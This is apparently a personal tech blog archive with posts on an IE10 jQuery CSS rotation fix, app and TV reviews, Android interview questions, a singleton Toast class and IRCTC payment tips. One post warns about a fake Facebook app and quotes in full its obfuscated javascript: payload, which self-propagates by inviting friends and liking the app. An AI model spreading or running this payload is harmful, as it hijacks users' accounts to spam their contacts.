Skip to content

Inline jQuery misses CSS change event in IE10

16-Apr-13

The goal is to achieve slow rotation of an image infinitely. So, the trick i thought of using two CSS classes. First class is a base css. Another defines rotation and transform delay. Here are these two:

.image_basic {
	overflow:hidden;
}
.image_rotate {
	-webkit-transform:rotate(3600deg);
	-moz-transform:rotate(3600deg); 
	-ms-transform:rotate(3000deg); 
	-o-transform:rotate(3600deg);
	transform:rotate(3600deg);

	-webkit-transition-duration: 400s;
	-moz-transition-duration: 400s;
	-ms-transition-duration: 400s;
	-o-transition-duration: 400s;
	transition-duration: 400s;

	transition-timing-function:ease-out ;
	transition-delay:0.2s;

	-webkit-transition-property: -webkit-transform;
	-moz-transition-property: -moz-transform;
	-ms-transition-property: -moz-transform;
	-o-transition-property: -o-transform;
	transition-property: transform;

	overflow:hidden;
}

It’s a transform for ten rotation over 400 seconds. This roughly gives you slow rotation indefinitely (assuming 400 seconds ~ 6 mins is enough time to stay on a webpage). You also need to switch CSS class for this rotation to take place. Following inline JavaScript/jQuery at the end of the document worked.

<img class="image_basic" src="logo-emblem-small.png"/>

<script type="text/javascript">
	   $('.image_basic').attr("class","image_rotate");
</script>

Issue: The catch here is the rotation worked seamlessly on all browsers, except IE. Googled everything, No luck! The syntax is correct, other demos for IE CSS rotation are working everywhere. Then what’s wrong here?

Playing around and debugging further, I realized, using IE’s F12 Developer Tools that a change in CSS class (manually changing CSS class in DOM) made it to work. That means the missing CSS change event is causing the issue! Encapsulated above script within document.ready and it worked.

$(function() {
	$('.image_basic').attr("class","image_rotate");
});

Conclusion: JavaScript implementation is browser specific. When the document is loading, any CSS change does not fire (CSS3) transform events in IE 10. All you need is to wait for document to load completely. May be this is one of the best practices I got enlightened today.

Happy Coding!

Times of India Alive App – Review

02-Mar-13

Today I came across an interesting app, Alive app from Times Of India. A very nice concept to engage smartphone users to interactive content. But this app is from TimesMobile, not Times Internet Limited. Whatever, lets go and try it out. I quickly opened web-browser on my Android 4.1 tablet and jumped to aliveapp.in. Install. Open. And here is what I felt about it, discouraging, my all hopes are stranded. Read on to know how wrong they are in marketing, technological advances, app design, and mobile user interfaces. (It should be noted that I have not used this app on other platforms. This review is for the Android Alive app only.)

why a new app? Yes, that is the first question came to my mind. If this was planned correctly by TOI, a good marketing app focuses on bringing users at one platform. Fragmented space is not going to help anyone. From marketing prospective I would have used same TOI app for this exciting feature. This would have brought some new users to the same platform, and my existing app would have been more popular, isn’t it?

The app is pathetically designed. Have they ever read about Android development guidelines before working on it? Let me give you some of those many examples –

  • Why does the app need following permissions first place? This question is boggling me since I clicked install button. The app does not have any feature to directly call numbers, send SMS, local storage, read my location and read phone status. Do you think I am wrong, and the app needs these permissions anyhow, please enlighten me, please! The only permissions I see it needs is Full Network Access and Use camera, nothing else.
  • No usage of standard settings/context menu. On my 10 inch tablet all the image buttons are horrible starched.
  • Too many pop-ups. I cannot press back button endlessly and come out of the app.
    – Are you sure you want to save this?
    – Are you sure you want to quit?

Technologically inferior quality: If Vineet Jain thinks that TOI believes in innovating constantly and out of the box thinking, then I must say they should look back again. At first, this is a 2D bar code, not augmented reality. There are many augmented reality apps out there which work realtime with camera, and many apps have impressed me. Alive app fails here. It takes 3 to 10 seconds to figure out the image, sometimes fails to consider the image. Consider how QR codes and Microsoft-Tag works, they have some reference point within image for quick detection. For this picture when I scanned with Tablet camera it opened 9 times Dr Batra’s 20 sec ad (published in 2011) and only once it opened original video. I think some goof-up with hash value! Besides, the catalogue page just lists videos and there is no option to open/view videos.

If you are still not convinced here are some snippets from Play Store review.

“very poor performance even with the object being well lit”
“its a sheer waste of time……the app says not found even after 2 minutes of scanning even on 3g. it’s a complete crap”
“Opens advertisement while scanning. No news shows.”
“Its too ugly icon itself is super ugly!”
“Didn’t show the video that I scanned….”

Finally I uninstalled Alive app as it does not add value to me at all.

Thank you, Arti !

14-Oct-12

Every day is a regular day unless some moments make them special and memorable. I had one such day , and that’s why it deserves a mention here.

A girl, I meant dream-girl ;) , came to my dreams, woke me up, tied my eyes and took me towards a special room. My expectations were on a high peak, and what I found was beyond my expectations, seriously. It was a room decorated, lit up and a cake to celebrate this special day, exactly at 12AM. Thanks Arti for making it wonderful, I never felt so special ever before on this day. You made my day.

thank-u-arti

I think we had fought more than the number of the days since our marriage (all because of my crazyness, and yeah.. some of yours too; and thanks to our settlement policy). But these are the times we will cherish and enjoy remembering them down the rest of our journey.



Ankit

 

Android Interview Questions

18-Aug-12

Hi Guys,

Here are some Android test questions that I have compiled. Search for their answers by reading Android Docs. Post your answers in the comments. If you are too desperate for answers you can try .

  • Which class is used to handle the Bluetooth on Android?
  • Which package provide set of classes required to manage the Bluetooth on android sdk?
  • What is a sticky intent?
  • How to show a non-modal dialog/information on screen? OR What’s the purpose of Toasts.
  • What is a 9-patch image and how to benefit from it?
  • What is adb?

Following are some more generous objective questions for you.

1. Which of the following are true about PhoneStateIntentReceiver.notifyPhoneCallState?

a. notifyPhoneCallState has to be called if your application wishes to receive a notification about an incoming phone call.
b. notifyPhoneCallState is a call back function that is called when the call state changes.
c. notifyPhoneCallState is called to initiate a call from the device.
d. notifyPhoneCallState is used to send notifications about call states.
e. notifyPhoneCallState gets called when the device receives an incoming phone call.

Answer: notifyPhoneCallState has to be called if your application wishes to receive a notification about an incoming phone call.

2. Which of the following would you have to include in your project to use the APIs and classes required to access the camera on the mobile device?

a. import android.drivers;
b. import android.hardware.camera;
c. import android.camera;
d. import android.util;
e. import android.hardware;

Answer: import android.hardware

3. What is “Android-dx”?

a. A command line tool to create Android project files.
b. A framework to create unit tests for Android projects.
c. A resource editor to create user interface for Android applications.
d. A tool to generate Android byte code from .class files.
e. An emulator to execute and debug Android projects.

Answer: A tool to generate Android byte code from .class
More…

Review of LG – 32LS4600 (and 42ls4600)

09-Aug-12
Slim, Superb connectivity options and Full HD, do you need anything more?

One of the greatest thing about LG-32LS4600 is Edge LED. Means it’s super slim, and knocking on the surface does not bring distortion (like Samsung TVs) and acts as a protector.


Next, i would give 5 star rating for connectivity options. 2 components input, 3 HDMI and 2 USB ports. Also the placement of 1 HDMI and 1 USB in the side make it truely awesome for quick connect and you do not need to struggle between the wall and TV.


I picked this TV as we do not need Internet/Apps on TV. Other features of this TV are -

  • Full HD – 1080p/i: Most 32-inch LED TVs come with lower 1,366 x 768 resolution. The full resolution of the TV is 1920x1080p
  • The TataSky HD delivers 1080p resolution for it’s ten HD channels.

  • DLNA – It is network ready and Windows Vista/7 can share media files with the TV. I was able to successfully browse shared files on Laptop and play on this TV. However, controlling playback (play/pause/stop) directly from Media Player did not work. There is a LAN port at the back of the TV to connect to sub-network. I was able to connect to Netgear n150 router and able to connect to DLNA server.
  • DivX ready – played almost all of my video files.
  • Edge LED: This brings better control over contrast ratio. The TV is super slim.
  • 3 HDMI, 2 components, 2 USB ports: You can connect your xbox, HD set top box, and a DVD player to three HDMI ports. The USB port is 2.0
  • LG’s free installation: LG offers free installation. I called in the morning and they were at my home on the same day for installation. This free installation includes wall-mount only.



Price in India: MRP of LG 32LS4600 is Rs 46,000 (listed on LG website) however it is available in retail shops at around Rs 36,000. (At Bajaj Electronics in Punjagutta, Hyderabad I was able to get more discount.) Note: Price mentioned here is indicative only and is subjected to change on manufacturer/retailer’s will.

Rating: 4.5/5

by Ankit Jain (review on Aug 9)

Singleton Toast

19-May-11

On Android you may have experienced delayed toasts or overlapping toasts. This causes the toasts being displayed with irrelevant context/activity (e.g. user may have pressed backed, or previous toast is still overriding new one, or when too many toasts are displayed on screen).

Consider the code below. It defines a single function for toast, that makes use of context object of Application. The class MyApplication needs to be declared in manifest.xml. The main advantage of such design is

  • reduced footprint for activity’s context object.
  • at any moment only one toast remains on screen
  • reusing single toast object, rather than creating for each show.


public class MyApplication extends Application {

	private static Resources resources;
	private static Context context;
	
	private static Toast toast;

	/**
	 * Called when the application is starting, before any other application
	 * objects have been created. Implementations should be as quick as possible
	 * (for example using lazy initialization of state) since the time spent in
	 * this function directly impacts the performance of starting the first
	 * activity, service, or receiver in a process. If you override this method,
	 * be sure to call super.onCreate().
	 * */
	@Override
	public void onCreate() {
		super.onCreate();
		Log.i("MyApplication", "Starting app...");
		MyApplication.resources = getResources();
		MyApplication.context = getApplicationContext();
		
		MyApplication.toast = Toast.makeText(MyApplication.context, "", Toast.LENGTH_SHORT);
	}
	
	/** Returns the global resources object. */
	public static Resources getResourcesObject() {
		return MyApplication.resources;
	}

	/** Returns the global context object. */
	public static Context getContextObject() {
		return MyApplication.context;
	}

	public static void toast(String message)
	{
		MyApplication.toast(message, Toast.LENGTH_SHORT);
	}

	public static void toast(String message, int duration)
	{
		MyApplication.toast.cancel();
		MyApplication.toast.setText(message);
		MyApplication.toast.setDuration(duration);
		MyApplication.toast.show();
	}

}

They are following me!

24-Jun-10

They are following me everywhere. Yes, I admit I’ve been there. But that’s not a crime!

What is more surprising than you find internet marketing ads are following you? I visited Dominio.com and NetowrkSolutions.com yesterday, and today found them following me wherever I go. On totally different content, repeatedly and on multiple sites. Here are screen-shots.

I know the only way to get rid is to clear browser cookies. I did and they went away!


[Note: Typically I use AdBlockPlus, but these days I am trying to understand how AdWords works.]

- Ankit

Vector Logo for IITK

02-Jun-10

Here is an SVG or Vector graphic logo for IIT Kanpur.





tool used for creation: http://vectormagic.com/online/how_it_works

Another from Wikipedia: http://en.wikipedia.org/wiki/File:IIT_Kanpur_Logo.svg

-Ankit

Beware: Fake Facebook App

08-May-10

[Update 2: The following app has been removed by facebook.]
[Update 1: The app invites all your friends, and likes the app automatically. It does not hack your account or cookie. Thanks Ahmud]

A perfectly crafted FaceBook app to hack your account. Here is URL: 10 lies girls ALWAYS tell guys! funny! (Do not follow instructions unless you want your account be compromised)

The app asks you to press <ctrl> + C, <alt> + D, <ctrl> + V and <enter> to paste a JavaScript in to your browser’s address bar. I don’t know what will happen next, follow the instructions if you want your account to be compromised :( .

JavaScript it pastes:
javascript:(function(){a='app120196878004524_jop';b='app120196878004524_jode';ifc='app120196878004524_ifc';ifo='app120196878004524_ifo';mw='app120196878004524_mwrapper';eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{}))})();

The app has an hidden <textarea> with keyboard focus. When you press <ctrl> + C, its content gets selected and then you follow instructions to paste it in address bar! Never ever do that.

More…

Saving Money with IRCTC

25-Apr-10

Booking a ticket at IRCTC means spending a few bucks extra. Well, it does not bother much as it saved my time and petrol. Here is a tip to save some money, but before that, a concern to raise!

IRCTC charges flat Rs 10 on each ticket as their service charge. But why? Cards payment industry has a painful clause that merchants has to bear any fraud. For example, if a fraudster books a ticket with stolen card and later the card owner files a chargeback, IRCTC has to pay the amount back. But the fraudster has finished enjoying travel before owner files a chargeback! So how to does they deal with this? IRCTC decided (like what other merchants do) to take this from consumers as an insurance money. And that’s how an honest poor Indian suffers!

Let’s get back to the business of this post. Apart for typical IRCTC charges, the consumer has to beer additional bank charges too. Refer the list of transaction service fees charged by various banks at IRCTC. All credit card payment gateways charge 1.65-1.8% of transaction amount, Debit cards are charged at flat Rs 10 while net-banking transactions are charged a little more (Rs 10 + Service Tax).

If you want to save a few bucks while booking small tickets (up to Rs 600) use credit cards and debit cards if they are enabled. ICICI has enabled use of Visa debit-cards at credit-card gateways. I typically select Axis PG and use ICICI debit card. As a result I pay Rs 10 + 1.65% additionally.

- ankit